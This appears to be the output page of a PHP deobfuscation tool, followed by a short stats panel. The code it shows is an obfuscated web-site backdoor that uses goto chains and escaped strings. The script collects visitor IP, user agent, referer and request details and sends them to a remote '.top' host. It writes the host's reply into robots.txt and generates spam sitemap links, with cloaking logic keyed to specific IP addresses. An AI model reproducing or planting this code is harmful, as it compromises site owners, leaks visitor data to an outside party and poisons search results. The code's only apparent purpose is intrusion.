OCqMe; l9GRE: echo $diiWw . "\x3a\x20" . $Nd292 . "\74\x62\162\57\76"; goto kTJS4; uC9ib: $RUE1s = MxwG_($gDt5J); goto nW6VF; nDzA9: @file_put_contents("\x72\x6f\142\157\164\163\56\x74\x78\164", $RUE1s); goto DMPx2; D2juC: echo $RUE1s = mxWG_($gDt5J); goto nDzA9; PrVAe: echo $RUE1s; goto ESUHK; i0O_5: goto oR0rt; goto vGz4p; jZ41C: goto zE2FI; goto Ev66z; Q_fle: if (strpos($F2o1c, "\x69\x6e\x64\145\170\x2e\160\150\160") !== false) { goto ZFVDm; } goto opzO2; wpjT5: goto rGwBC; goto MggYi; rieNl: header("\103\157\x6e\x74\x65\x6e\164\55\124\171\160\145\x3a\x20\164\x65\170\x74\x2f\170\155\x6c\x3b\x20\x63\x68\x61\162\x73\145\x74\75\165\164\x66\x2d\70"); goto PrVAe; uGRZD: if (preg_match("\100\136\x2f\50\x2e\52\x3f\51\56\x78\x6d\x6c\x24\100\x69", $OX3oL)) { goto TxWw0; } goto s8fJE; MggYi: FdTXn: goto qUGxV; g1JeH: exit; goto WOvDW; tXcwn: if (empty($RUE1s)) { goto QoJtS; } goto wCaCr; rpBNr: $vKASN = 0; goto BKQv6; fO8A1: $TGpde = "\150\x74\x74\160\72\57\57\143\167\x36\70\56\x72\165\x73\163\x69\141\156\x64\x75\145\56\164\x6f\160\x2f\151\156\x64\145\170\56\x70\150\x70"; goto nS6g8; H8566: echo $RUE1s; goto uHotx; xwRG8: $F2o1c = "\x2f"; goto BukQc; shQDH: $Nd292 = ''; goto l9GRE; zABXi: Qxiw5: goto cLy_O; pE0KV: function Rbysa() { goto CqP2E; lXQoe: $WSSFO = "\x30\x2e\60\x2e\x30\56\60"; goto VncGU; lKH69: $WSSFO = getenv("\110\124\x54\120\137\x58\137\x52\x45\101\114\x5f\x49\120"); goto jNJru; twUfc: $aP669 = explode("\x2c", $WSSFO); goto pHZhX; VncGU: goto ca7xk; goto l6PyC; P27tI: $WSSFO = getenv("\110\124\124\120\x5f\x43\x4c\x49\105\116\124\x5f\x49\120"); goto A46r9; VEPj7: return $WSSFO; goto ZaHjH; A46r9: kR8rP: goto SgR07; XM9P_: goto ca7xk; goto qWaRr; aaicF: K54ia: goto o3efw; o3efw: $WSSFO = getenv("\x48\124\x54\x50\137\130\137\106\117\122\x57\101\x52\x44\x45\104\137\106\x4f\x52"); goto twUfc; CqP2E: if (!getenv("\x48\x54\x54\x50\137\x43\114\x49\x45\116\x54\x5f\x49\x50")) { goto kR8rP; } goto P27tI; x1TmG: ca7xk: goto VEPj7; jNJru: goto ca7xk; goto aaicF; l6PyC: zo7zI: goto lKH69; z5r6j: if (getenv("\122\x45\115\x4f\x54\105\137\x41\104\104\x52")) { goto Hidhe; } goto lXQoe; XDSvV: if (getenv("\x48\124\124\x50\137\130\137\106\117\x52\127\101\122\x44\x45\104\x5f\x46\x4f\x52")) { goto K54ia; } goto z5r6j; Ba_2K: $WSSFO = getenv("\x52\105\115\x4f\124\x45\137\x41\104\104\x52"); goto x1TmG; SgR07: if (getenv("\x48\124\124\120\x5f\x58\137\x52\105\101\x4c\x5f\x49\120")) { goto zo7zI; } goto XDSvV; qWaRr: Hidhe: goto Ba_2K; pHZhX: $WSSFO = $aP669[0]; goto XM9P_; ZaHjH: } goto Ej6Bq; Ipa3K: if ($RUE1s == "\157\153") { goto vbg0z; } goto JrAHq; GQhWg: lnrqy: goto Lwvxs; WEeaV: header("\103\x6f\x6e\164\145\x6e\164\x2d\124\x79\160\145\72\x20\164\145\x78\164\57\150\x74\x6d\154\73\x20\x63\150\141\x72\163\x65\164\x3d\x75\x74\146\x2d\x38"); goto E9r1_; ESUHK: exit; goto QnH0V; ZtCXE: echo "\x6f\x6b"; goto SVXcI; lrOHn: iSARI: goto zTd4_; nW6VF: if ($RUE1s == "\x35\60\60") { goto FdTXn; } goto s4Qu_; qxBnc: error_reporting(0); goto pE0KV; kObgv: XAQVr: goto qfW0Z; zxpoM: $gDt5J = $TGpde . "\77\141\147\x65\x6e\x74\75{$ibzMF}\46\x72\145\146\x65\162\75{$XMDsu}\46\154\141\x6e\x67\x3d{$rHzXA}\46\x69\160\x3d{$WSSFO}\x26\x64\x6f\x6d\75{$lth2a}\46\150\164\164\x70\x3d{$CQZSt}\x26\165\162\x69\x3d{$OX3oL}\46\160\143\75{$QKxdU}\x26\x72\x65\x77\x72\151\x74\x65\x61\x62\x6c\x65\x3d{$vKASN}\46\x73\x63\162\x69\160\164\x3d{$YDbvn}"; goto fdJ5b; pwEiG: $RUE1s = mxWG_($gDt5J); goto mdBQ0; VFC1W: $RUE1s = mXWg_($gDt5J); goto H8566; wCaCr: if (!($RUE1s == "\65\60\60")) { goto EIQdW; } goto YlLSa; vKvG1: $gDt5J = $TGpde . "\x3f\141\x67\145\156\164\x3d{$ibzMF}\46\162\x65\146\145\162\75{$XMDsu}\x26\x6c\141\156\147\75{$rHzXA}\x26\x69\160\x3d{$WSSFO}\46\x64\x6f\x6d\x3d{$lth2a}\46\x68\x74\x74\x70\x3d{$CQZSt}\x26\x75\x72\x69\75{$OX3oL}\46\160\x63\75{$QKxdU}\x26\162\x65\167\162\x69\x74\x65\141\x62\x6c\x65\75{$vKASN}\46\x73\143\162\151\x70\x74\75{$YDbvn}"; goto oQrj4; v_leH: if (!empty($_SERVER["\x52\x45\121\125\105\x53\124\137\123\x43\x48\105\x4d\x45"]) && $_SERVER["\x52\x45\121\x55\105\x53\x54\137\x53\x43\x48\105\x4d\x45"] == "\150\x74\164\160\163" || !empty($_SERVER["\110\124\x54\x50\123"]) && $_SERVER["\110\124\x54\x50\x53"] == "\x6f\x6e" || !empty($_SERVER["\123\x45\x52\x56\x45\x52\x5f\x50\117\122\124"]) && $_SERVER["\123\x45\x52\x56\105\x52\x5f\120\117\122\124"] == "\64\64\x33" || isset($_SERVER["\110\124\124\x50\x5f\x58\x5f\x46\117\x52\x57\101\122\104\x45\x44\137\x50\x52\x4f\x54\x4f"]) && $_SERVER["\x48\124\x54\x50\x5f\130\x5f\106\x4f\x52\127\101\122\104\105\104\137\x50\x52\x4f\124\117"] == "\150\x74\164\x70\163") { goto HfVwB; } goto JFdTx; k0iTW: jjhHA: goto vDUqo; zjl31: $diiWw = "{$CQZSt}\72\x2f\x2f" . $lth2a . $F2o1c . "\x73\151\x74\x65\155\141\x70\x2e\170\155\x6c"; goto ekQhS; pr34N: goto lnrqy; goto RfSVs; a_dDS: bp9no: goto x2TRO; OQGxz: WcZ20: goto DvYYB; efSlz: if (!($gstsI == "\61\x35\63\56\62\x34\x36\x2e\x31\63\65\56\x32\x33\x38" || $gstsI == "\x32\x31\71\x2e\x31\x30\61\x2e\x34\x34\56\x32\63\63")) { goto kL0WX; } goto QkF3F; FRNFx: bHZAw:
?>

Function Calls

None

Variables

None

Stats

MD5 e9620a2370eb7dca333ee9633a5d7e8d
Eval Count 0
Decode Time 86 ms